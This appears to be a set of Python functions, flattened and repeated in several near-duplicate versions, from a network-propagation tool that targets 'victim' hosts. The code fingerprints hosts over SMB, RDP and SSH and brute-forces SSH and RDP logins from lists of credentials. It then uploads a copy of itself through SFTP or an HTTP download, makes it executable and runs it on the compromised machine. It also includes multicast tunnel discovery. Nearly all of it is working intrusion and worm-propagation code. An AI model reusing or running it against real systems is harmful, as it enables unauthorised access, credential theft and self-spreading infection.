def is_os_supported(self): if super(SmbExploiter, self).is_os_supported(): return True if not self.host.os.get('type'): is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() smb_finger.get_host_fingerprint(self.host) else: is_nb_open, _ = check_port_tcp(self.host.ip_addr, 139) if is_nb_open: self.host.os['type'] = 'windows' return self.host.os.get('type') in self._TARGET_OS_TYPE return False
def is_os_supported(self, host): if host.os.get('type') in self._target_os_type: return True if not host.os.get('type'): is_smb_open, _ = check_port_tcp(host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() smb_finger.get_host_fingerprint(host) else: is_nb_open, _ = check_port_tcp(host.ip_addr, 139) if is_nb_open: host.os['type'] = 'windows' return host.os.get('type') in self._target_os_type return False
def is_os_supported(self, host): if host.os.get('type') in self._target_os_type: return True if not host.os.get('type'): is_smb_open,_ = check_port_tcp(host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() smb_finger.get_host_fingerprint(host) else: is_nb_open,_ = check_port_tcp(host.ip_addr, 139) if is_nb_open: host.os['type'] = 'windows' return host.os.get('type') in self._target_os_type return False
def get_host_fingerprint(self, host, only_one_port=False): assert isinstance(host, VictimHost) count = 0 # maybe hide under really bad detection systems target_ports = self._config.tcp_target_ports[:] shuffle(target_ports) for target_port in target_ports: is_open, banner = check_port_tcp(host.ip_addr, target_port, self._config.tcp_scan_timeout / 1000.0, self._config.tcp_scan_get_banner) if is_open: count += 1 service = 'tcp-' + str(target_port) host.services[service] = {} if banner: host.services[service]['banner'] = banner if only_one_port: break else: time.sleep(self._config.tcp_scan_interval / 1000.0) return count != 0
def get_host_fingerprint(self, host, only_one_port=False): assert isinstance(host, VictimHost) count = 0 # maybe hide under really bad detection systems target_ports = self._config.tcp_target_ports[:] shuffle(target_ports) for target_port in target_ports: is_open, banner = check_port_tcp( host.ip_addr, target_port, self._config.tcp_scan_timeout / 1000.0, self._config.tcp_scan_get_banner) if is_open: count += 1 service = 'tcp-' + str(target_port) host.services[service] = {} if banner: host.services[service]['banner'] = banner if only_one_port: break else: time.sleep(self._config.tcp_scan_interval / 1000.0) return count != 0
def is_os_supported(self, host): if host.os.get('type') in self._target_os_type: return True if not host.os.get('type'): is_open,_ = check_port_tcp(host.ip_addr, RDP_PORT) if is_open: host.os['type'] = 'windows' return True return False
def is_os_supported(self): if super(RdpExploiter, self).is_os_supported(): return True if not self.host.os.get('type'): is_open, _ = check_port_tcp(self.host.ip_addr, RDP_PORT) if is_open: self.host.os['type'] = 'windows' return True return False
def is_os_supported(self, host): if host.os.get('type') in self._target_os_type and \ host.os.get('version') in self._windows_versions.keys(): return True if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')): is_smb_open,_ = check_port_tcp(host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() if smb_finger.get_host_fingerprint(host): return host.os.get('type') in self._target_os_type and \ host.os.get('version') in self._windows_versions.keys() return False
def is_os_supported(self): if self.host.os.get('type') in self._TARGET_OS_TYPE and \ self.host.os.get('version') in self._windows_versions.keys(): return True if not self.host.os.get('type') or ( self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')): is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() if smb_finger.get_host_fingerprint(self.host): return self.host.os.get('type') in self._TARGET_OS_TYPE and \ self.host.os.get('version') in self._windows_versions.keys() return False
def is_os_supported(self, host): if host.os.get('type') in self._target_os_type and \ host.os.get('version') in self._windows_versions.keys(): return True if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')): is_smb_open, _ = check_port_tcp(host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() if smb_finger.get_host_fingerprint(host): return host.os.get('type') in self._target_os_type and \ host.os.get('version') in self._windows_versions.keys() return False
def exploit_host(self, host, depth=-1, src_path=None): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) port = SSH_PORT # if ssh banner found on different port, use that port. for servkey, servdata in host.services.items(): if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): port = int(servkey.replace('tcp-', '')) is_open, _ = check_port_tcp(host.ip_addr, port) if not is_open: LOG.info("SSH port is closed on %r, skipping", host) return False passwords = list(self._config.ssh_passwords[:]) users = list(self._config.ssh_users) known_passwords = [host.get_credentials(x) for x in users] if len(known_passwords) > 0: for known_pass in known_passwords: if known_pass in passwords: passwords.remove(known_pass) passwords.insert(0, known_pass) #try first user_pass = product(users, passwords) exploited = False for user, curpass in user_pass: try: ssh.connect(host.ip_addr, username=user, password=curpass, port=port, timeout=None) LOG.debug("Successfully logged in %r using SSH (%s : %s)", host, user, curpass) host.learn_credentials(user, curpass) exploited = True break except Exception, exc: LOG.debug( "Error logging into victim %r with user" " %s and password '%s': (%s)", host, user, curpass, exc) report_failed_login(self, host, user, curpass) continue
def _check_tunnel(address, port, existing_sock=None): if not existing_sock: sock = _set_multicast_socket() else: sock = existing_sock LOG.debug("Checking tunnel %s:%s", address, port) is_open, _ = check_port_tcp(address, int(port)) if not is_open: LOG.debug("Could not connect to %s:%s", address, port) if not existing_sock: sock.close() return False try: sock.sendto("+", (address, MCAST_PORT)) except Exception, exc: LOG.debug("Caught exception in tunnel registration: %s", exc)
def exploit_host(self, host, depth=-1, src_path=None): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) port = SSH_PORT # if ssh banner found on different port, use that port. for servkey, servdata in host.services.items(): if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): port = int(servkey.replace('tcp-', '')) is_open, _ = check_port_tcp(host.ip_addr, port) if not is_open: LOG.info("SSH port is closed on %r, skipping", host) return False passwords = list(self._config.ssh_passwords[:]) known_password = host.get_credentials(self._config.ssh_user) if known_password is not None: if known_password in passwords: passwords.remove(known_password) passwords.insert(0, known_password) exploited = False for password in passwords: try: ssh.connect(host.ip_addr, username=self._config.ssh_user, password=password, port=port, timeout=None) LOG.debug("Successfully logged in %r using SSH (%s : %s)", host, self._config.ssh_user, password) host.learn_credentials(self._config.ssh_user, password) exploited = True break except Exception, exc: LOG.debug("Error logging into victim %r with user" " %s and password '%s': (%s)", host, self._config.ssh_user, password, exc) continue
def exploit_host(self, host, depth=-1, src_path=None): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) port = SSH_PORT # if ssh banner found on different port, use that port. for servkey, servdata in host.services.items(): if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): port = int(servkey.replace("tcp-", "")) is_open, _ = check_port_tcp(host.ip_addr, port) if not is_open: LOG.info("SSH port is closed on %r, skipping", host) return False passwords = list(self._config.ssh_passwords[:]) users = list(self._config.ssh_users) known_passwords = [host.get_credentials(x) for x in users] if len(known_passwords) > 0: for known_pass in known_passwords: if known_pass in passwords: passwords.remove(known_pass) passwords.insert(0, known_pass) # try first user_pass = product(users, passwords) exploited = False for user, curpass in user_pass: try: ssh.connect(host.ip_addr, username=user, password=curpass, port=port, timeout=None) LOG.debug("Successfully logged in %r using SSH (%s : %s)", host, user, curpass) host.learn_credentials(user, curpass) exploited = True break except Exception, exc: LOG.debug( "Error logging into victim %r with user" " %s and password '%s': (%s)", host, user, curpass, exc ) report_failed_login(self, host, user, curpass) continue
def get_host_fingerprint(self, host): assert isinstance(host, VictimHost) for name, data in host.services.items(): banner = data.get('banner', '') if self._banner_regex.search(banner): self._banner_match(name, host, banner) return is_open, banner = check_port_tcp(host.ip_addr, SSH_PORT, TIMEOUT, True) if is_open: host.services[SSH_SERVICE_DEFAULT] = {} if banner: host.services[SSH_SERVICE_DEFAULT]['banner'] = banner if self._banner_regex.search(banner): self._banner_match(SSH_SERVICE_DEFAULT, host, banner) return True return False
def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT): l_ips = local_ips() for adapter in l_ips: for attempt in range(0, attempts): try: LOG.info("Trying to find using adapter %s", adapter) sock = _set_multicast_socket(timeout, adapter) sock.sendto("?", (MCAST_GROUP, MCAST_PORT)) tunnels = [] if default: tunnels.append(default) while True: try: answer, address = sock.recvfrom(BUFFER_READ) if answer not in ['?', '+', '-']: tunnels.append(answer) except socket.timeout: break for tunnel in tunnels: if tunnel.find(':') != -1: address, port = tunnel.split(':', 1) if address in l_ips: continue LOG.debug("Checking tunnel %s:%s", address, port) is_open, _ = check_port_tcp(address, int(port)) if not is_open: LOG.debug("Could not connect to %s:%s", address, port) continue sock.sendto("+", (address, MCAST_PORT)) sock.close() return address, port except Exception, exc: LOG.debug("Caught exception in tunnel lookup: %s", exc) continue
def exploit_host(self): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) port = SSH_PORT # if ssh banner found on different port, use that port. for servkey, servdata in self.host.services.items(): if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): port = int(servkey.replace('tcp-', '')) is_open, _ = check_port_tcp(self.host.ip_addr, port) if not is_open: LOG.info("SSH port is closed on %r, skipping", self.host) return False user_password_pairs = self._config.get_exploit_user_password_pairs() exploited = False for user, curpass in user_password_pairs: try: ssh.connect(self.host.ip_addr, username=user, password=curpass, port=port, timeout=None) LOG.debug("Successfully logged in %r using SSH (%s : %s)", self.host, user, curpass) self.report_login_attempt(True, user, curpass) exploited = True break except Exception as exc: LOG.debug("Error logging into victim %r with user" " %s and password '%s': (%s)", self.host, user, curpass, exc) self.report_login_attempt(False, user, curpass) continue if not exploited: LOG.debug("Exploiter SSHExploiter is giving up...") return False if not self.host.os.get('type'): try: _, stdout, _ = ssh.exec_command('uname -o') uname_os = stdout.read().lower().strip() if 'linux' in uname_os: self.host.os['type'] = 'linux' else: LOG.info("SSH Skipping unknown os: %s", uname_os) return False except Exception as exc: LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc) return False if not self.host.os.get('machine'): try: _, stdout, _ = ssh.exec_command('uname -m') uname_machine = stdout.read().lower().strip() if '' != uname_machine: self.host.os['machine'] = uname_machine except Exception as exc: LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc) if self.skip_exist: _, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux) stdout_res = stdout.read().strip() if stdout_res: # file exists LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True # return already infected src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False try: ftp = ssh.open_sftp() self._update_timestamp = time.time() with monkeyfs.open(src_path) as file_obj: ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0o777) ftp.close() except Exception as exc: LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc) return False try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) cmdline += "&" ssh.exec_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, cmdline) ssh.close() return True except Exception as exc: LOG.debug("Error running monkey on victim %r: (%s)", self.host, exc) return False
def exploit_host(self): global g_reactor is_open, _ = check_port_tcp(self.host.ip_addr, RDP_PORT) if not is_open: LOG.info("RDP port is closed on %r, skipping", self.host) return False src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False # create server for http download. http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) if not http_path: LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.") return False LOG.info("Started http server on %s", http_path) cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) if self._config.rdp_use_vbs_download: command = RDP_CMDLINE_HTTP_VBS % { 'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline} else: command = RDP_CMDLINE_HTTP_BITS % { 'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline} user_password_pairs = self._config.get_exploit_user_password_pairs() if not g_reactor.is_alive(): g_reactor.daemon = True g_reactor.start() exploited = False for user, password in user_password_pairs: try: # run command using rdp. LOG.info("Trying RDP logging into victim %r with user %s and password '%s'", self.host, user, password) LOG.info("RDP connected to %r", self.host) client_factory = CMDClientFactory(user, password, "", command) reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory) client_factory.done_event.wait() if client_factory.success: exploited = True self.report_login_attempt(True, user, password) break else: # failed exploiting with this user/pass self.report_login_attempt(False, user, password) except Exception as exc: LOG.debug("Error logging into victim %r with user" " %s and password '%s': (%s)", self.host, user, password, exc) continue http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() if not exploited: LOG.debug("Exploiter RdpGrinder failed, rdp failed.") return False elif http_thread.downloads == 0: LOG.debug("Exploiter RdpGrinder failed, http download failed.") return False LOG.info("Executed monkey '%s' on remote victim %r", os.path.basename(src_path), self.host) return True
def exploit_host(self, host, depth=-1, src_path=None): global g_reactor assert isinstance(host, VictimHost) is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT) if not is_open: LOG.info("RDP port is closed on %r, skipping", host) return False src_path = src_path or get_target_monkey(host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", host) return False # create server for http download. http_path, http_thread = HTTPTools.create_transfer(host, src_path) if not http_path: LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.") return False cmdline = build_monkey_commandline(host, depth-1) if self._config.rdp_use_vbs_download: command = RDP_CMDLINE_HTTP_VBS % {'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline} else: command = RDP_CMDLINE_HTTP_BITS % {'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline} passwords = list(self._config.psexec_passwords[:]) known_password = host.get_credentials(self._config.psexec_user) if known_password is not None: if known_password in passwords: passwords.remove(known_password) passwords.insert(0, known_password) if not g_reactor.is_alive(): g_reactor.daemon = True g_reactor.start() exploited = False for password in passwords: try: # run command using rdp. LOG.info("Trying rdp logging into victim %r with user %s and password '%s'", host, self._config.psexec_user, password) client_factory = CMDClientFactory(self._config.psexec_user, password, "", command) reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory) client_factory.done_event.wait() if client_factory.success: exploited = True host.learn_credentials(self._config.psexec_user, password) break except Exception, exc: LOG.debug("Error logging into victim %r with user" " %s and password '%s': (%s)", host, self._config.psexec_user, password, exc) continue
def exploit_host(self): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) port = SSH_PORT # if ssh banner found on different port, use that port. for servkey, servdata in self.host.services.items(): if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): port = int(servkey.replace('tcp-', '')) is_open, _ = check_port_tcp(self.host.ip_addr, port) if not is_open: LOG.info("SSH port is closed on %r, skipping", self.host) return False user_password_pairs = self._config.get_exploit_user_password_pairs() exploited = False for user, curpass in user_password_pairs: try: ssh.connect(self.host.ip_addr, username=user, password=curpass, port=port, timeout=None) LOG.debug("Successfully logged in %r using SSH (%s : %s)", self.host, user, curpass) self.report_login_attempt(True, user, curpass) exploited = True break except Exception as exc: LOG.debug( "Error logging into victim %r with user" " %s and password '%s': (%s)", self.host, user, curpass, exc) self.report_login_attempt(False, user, curpass) continue if not exploited: LOG.debug("Exploiter SSHExploiter is giving up...") return False if not self.host.os.get('type'): try: _, stdout, _ = ssh.exec_command('uname -o') uname_os = stdout.read().lower().strip() if 'linux' in uname_os: self.host.os['type'] = 'linux' else: LOG.info("SSH Skipping unknown os: %s", uname_os) return False except Exception as exc: LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc) return False if not self.host.os.get('machine'): try: _, stdout, _ = ssh.exec_command('uname -m') uname_machine = stdout.read().lower().strip() if '' != uname_machine: self.host.os['machine'] = uname_machine except Exception as exc: LOG.debug( "Error running uname machine commad on victim %r: (%s)", self.host, exc) if self.skip_exist: _, stdout, stderr = ssh.exec_command( "head -c 1 %s" % self._config.dropper_target_path_linux) stdout_res = stdout.read().strip() if stdout_res: # file exists LOG.info( "Host %s was already infected under the current configuration, done" % self.host) return True # return already infected src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False try: ftp = ssh.open_sftp() self._update_timestamp = time.time() with monkeyfs.open(src_path) as file_obj: ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0o777) ftp.close() except Exception as exc: LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc) return False try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) cmdline += "&" ssh.exec_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, cmdline) ssh.close() return True except Exception as exc: LOG.debug("Error running monkey on victim %r: (%s)", self.host, exc) return False